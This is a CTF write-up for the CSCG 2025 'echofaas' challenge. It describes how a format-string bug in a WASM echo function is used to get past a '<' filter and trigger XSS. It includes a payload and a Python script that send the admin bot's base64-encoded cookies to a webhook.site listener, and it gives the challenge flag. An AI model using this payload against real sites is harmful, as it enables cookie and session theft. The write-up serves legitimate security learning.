echofaas - CSCG 2025 - Write-Up
Escalate your privileges with kubernetes.
This is a Write-Up for the challenge “echofaas” of the CSCG 2025.
The challenge is rated as Medium and can be found in the PWN category.
The author of the challenge is gfelber
.
Intro
The challenge provided the following description:
Everyone is talking about how cool Function as a Service is, therefore i made my own blazing fast echo function as a service using wasm.
Note: The flag is stored in the admin bot cookie.
https://{sessionid}-80-echofaas.challenge.cscg.live:1337
The Makefile and the challenge’s code have been provided.
Although this challenge is in the PWN category the challenge is partly Web and partly PWN. You are essentially given the source code of a WASM file (WebAssembly), which you need to reverse engineer and find a vulnerability in the binary to do a classic web exploit.
Code analysis
This is the provided source code of the WASM binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
#define MSG_SIZE 0x1000
char rmsg[MSG_SIZE] = "Hello, ";
static void sanitize(char *buf) {
for (int i = 0; i < strlen(buf); ++i)
if (buf[i] == '<')
buf[i] = ' ';
}
char *echo(char *msg) {
int rmsg_len = strlen(rmsg);
sanitize(msg);
snprintf(rmsg + rmsg_len, MSG_SIZE - rmsg_len, msg);
return rmsg;
}
int main(int argc, char* argv[]) {
if (argc != 2)
{
printf("Usage: %s <echo> \n", argv[0]);
return 1;
}
puts(echo(argv[1]));
return 0;
}
The code contains a echo()
function which returns the string you input with the prefix "Hello, "
. If you input a <
(less-than character), it gets replaced by the sanitize()
function with a simple space. To concat the prefix and the inputted text the snprintf()
function is used.
Vulnerability analysis
Format string
In the same way that the printf()
function is vulnerable to a format string vulnerability, so is the snprintf()
function in C. If you check the arguments of the function using the man page you can see that user input from the msg is directly passed to the format string.
1
snprintf(rmsg + rmsg_len, MSG_SIZE - rmsg_len, msg);
The snprintf()
function in C takes the target string pointer as the first argument. The second argument is the size of bytes to write. Lastly as the third argument the format string, in which you can use for ex. %p
to get the first pointer from the stack, is passed to the function.
1
int snprintf(char *str, size_t size, const char *format, ...);
Man page entry for snprintf.
With that format string vulnerability you can modify memory and read memory of the WASM application.
Cross Site Scripting (XSS)
On the web page the WASM binary is used and the function echo
is called, the output of this is used and placed into innerHTML
. This is very dangerous because the output can contain not sanitized HTML which in will be rendered and that leads to XSS. This vulnerability is directly connected with the Format String vulnerability, but even without it it is still dangerous to use innerHTML
.
1
2
3
4
5
6
7
8
...
document.getElementById("banner").innerHTML = Module.ccall(
"echo",
"string",
["string"],
[urlParams.get("msg") || ""],
);
...
Exploit
After finding the vulnerabilities the next task is to find the impact and what to do with the findings. If you inspect the web page after deploying the challenge you will see a sign telling Hello,
.
By inspecting the source code you will find this small important script part.
1
2
3
4
5
6
7
8
9
10
echo().then(function (Module) {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
document.getElementById("banner").innerHTML = Module.ccall(
"echo",
"string",
["string"],
[urlParams.get("msg") || ""],
);
});
This script takes the msg
parameter of the URL and will call the echo function from the WASM file with it. Then the output is passed into the banner
element using the unsave innerHTML
method, which is one if the vulnerabilities described above.
The idea is to build a simple XSS payload in the page to leak the cookie and send it to our controlled endpoint.
To execute the payload to get the flag you can use the /report
endpoint which lets you submit URLs to the admin.
To execute the payload you need to solve the last small problem, from the C code for the echo
function above it is clear that if we use a basic XSS payload like <script>
the first less-than character is getting filtered, so you would receive ` script>, which wouldn't get rendered in the HTML code. The only way to come around this issue is using the format string exploit. My goal is to use the format string vulnerability and modify memory to contain a less-than character (
<`) and then use the format string vulnerability again to get the less-than character out of memory and print it.
Firstly you can simply modify the value of the first address stack (hopefully there is a address) and check the output on the page. To output I use the %x
option which will print the hex representation of the data.
1
2
3
msg=%1$1x%1$n%20%x
======== Result:
Hello, 0 1
Note: You need to be careful when working with special characters in the browser, especially "%<num>"
, this is often treated as a encoded character, so before submitting payloads you need to URL encode that. In the payload above and my Firefox browser the %1
gets treated as it is but the %20
after that is actually treated as a space.
Note 2: Web assembly behaves different and works different in memory management and execution, this can lead to behaviors which do not happen while exploiting normal binaries.
The message above:
- pads the output by 1.
- writes the total number of written bytes to the address of the first argument on the stack.
- prints what you have written.
The output is exactly 1 which makes it easy for further padding the string until you reach the needed value. The numerical representation of an less-than character is 60, so you simply need to pad the message with 60 characters using this payload. The string can be printed with %c
to show it as a character.
1
2
3
msg=%1$60x%1$n%20%c
======== Result:
Hello, 0 <
Now the payload is nearly finished. The last thing to do is adding a XSS payload after the <
. For that I used an image tag: (<img />
), the onerror
attribute can be used to execute JS if there is an error when loading the image, which is a easy short way to execute JavaScript. I decided not for a <script>
element, because there you need closing tags which makes the payload more chaotic. For checking if the JavaScript is executed I used https://webhook.site/ for simplicity. You can create a listener there.
Final payload:
1
msg=%1$60x%1$n%20%cimg%20src=1%20onerror=fetch(%22https://webhook.site/a44da78b-0275-41f1-afce-4417126867d4?test=%22%2Bbtoa(document.cookie))%20/%3E
Here is a short explanation of the parts of the payload:
Part | Explanation | |
---|---|---|
%1$60x | Format string padding – formats the first argument as a 60-character wide hexadecimal number. Used to manipulate total number of written bytes. | |
%1$n | Format string write – writes the number of bytes output so far to the memory address pointed to by the first argument. | |
%20 | Simple space(s). | |
%c | Prints the less-than character from the memory. | |
img src=1 | Sets a dummy image source. It will fail to load, which triggers the onerror event. | |
onerror= | Event handler triggered when the image fails to load. Used here to execute the JavaScript. | |
fetch("https://... | Sends an HTTP request to the listener. | |
?test=" + btoa(document.cookie) | Appends the Base64-encoded value of document.cookie (stealing cookies) to the request. I am doing the encoding to fix any possible encoding issues. | |
)/ > | Closes the img tag and fetch( . %3E is > in URL encoding. |
With the payload you can receive a callback, although this doesn’t contain the flag, you can confirm that it works. If it works, you can submit the query to the report page as the URL and wait until you receive the flag in base64.
1
> dach2025{th3_future_0f_w3b_1s_pwn_709d6737a468685cdf2cc2312dd36380}
Inspecting the memory
For this challenge, I found the Memory Inspector in Chrome particularly useful, it will display the memory and with it you can understand the memory layout. To use it you can set a breakpoint in the wasm file (useful for this challenge is before the snprintf
). After that you can open the memory view.
Script
Here is a short script to do the exploit fastly, you can run the script like this: python3 exploit.py --target "<challenge-url>" --webhook "https://webhook.site/XXXXX"
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import argparse
import urllib.parse
import requests
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True)
parser.add_argument('--webhook', required=True)
args = parser.parse_args()
target_url = args.target
webhook_url = args.webhook
xss_payload = f"img src=x onerror=fetch('{webhook_url}?cookie='+btoa(document.cookie))>"
full_payload = f"%1$60x%1$n%c{xss_payload}"
encoded_payload = urllib.parse.quote(full_payload)
final_exploit_url = f"{target_url}?msg={encoded_payload}"
report_endpoint = target_url.rstrip('/') + '/report'
data = {
'url': final_exploit_url,
'pow': ""
}
response = requests.post(report_endpoint, data=data)
print(f"[*] Submitted to {report_endpoint}, status: {response.status_code}")
if __name__ == "__main__":
main()
Flag:
1
dach2025{th3_future_0f_w3b_1s_pwn_709d6737a468685cdf2cc2312dd36380}